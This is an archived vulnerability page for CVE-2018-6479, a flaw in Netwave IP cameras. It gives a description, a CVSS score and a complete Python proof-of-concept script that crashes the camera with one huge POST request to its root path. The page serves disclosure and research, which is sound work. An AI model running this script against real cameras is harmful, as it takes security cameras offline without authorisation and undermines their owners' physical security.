Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-6479 PoC — Netwave IP Camera设备安全漏洞

Source
Associated Vulnerability
Title:Netwave IP Camera设备安全漏洞 (CVE-2018-6479)
Description:Netwave IP Camera devices是荷兰Netwave SystemsB.V.公司生产的一款网络摄像机。 Netwave IP Camera设备中存在安全漏洞。攻击者可通过向root路径发送带有较大主体的POST请求利用该漏洞造成拒绝服务(崩溃)。
Description
[CVE-2018-6479] Netwave IP Camera server vulnerable to Denial of Service via one single huge POST request.
Readme
# Netwave IP Camera server vulnerable to unauthenticated Denial of Service via one single huge POST request on any firmware.

| CVE |Description|
| -------------|-------------|
|CVE-2018-6479|Unauthenticated remote Denial of Service vulnerability|

| CVSS  |Score| Details|
| -------------|-------------|-------------|
|3|7.3|CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X|


#### 0. Introduction:

During an IoT security research, some vulnerabilities have been discovered on differnet IP camera vendors. Netwave IP Camera is a IP Camera server which allows to see camera video and administrate the camera. IP Cameras are used especially for physical security and control purposes, so it's availability is crucial.


#### 1. Denial of Service:

Any Netwave IP Camera can be taken down just by sending a huge POST request to its root path. Once you send the request, the device get stucked and stops streaming audio and video.

Proof of Concept: Run the following Python 2.7 script against any NetWave IP Camera, it will stop responding and streaming video/audio instantly.

```
import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data
```

#### 2. Researcher:

Gonzalo García León

File Snapshot

[4.0K] /data/pocs/81cb9b82f60d086d2d27123739875a1d4f8d0593 ├── [ 358] dos_poc.py └── [1.5K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.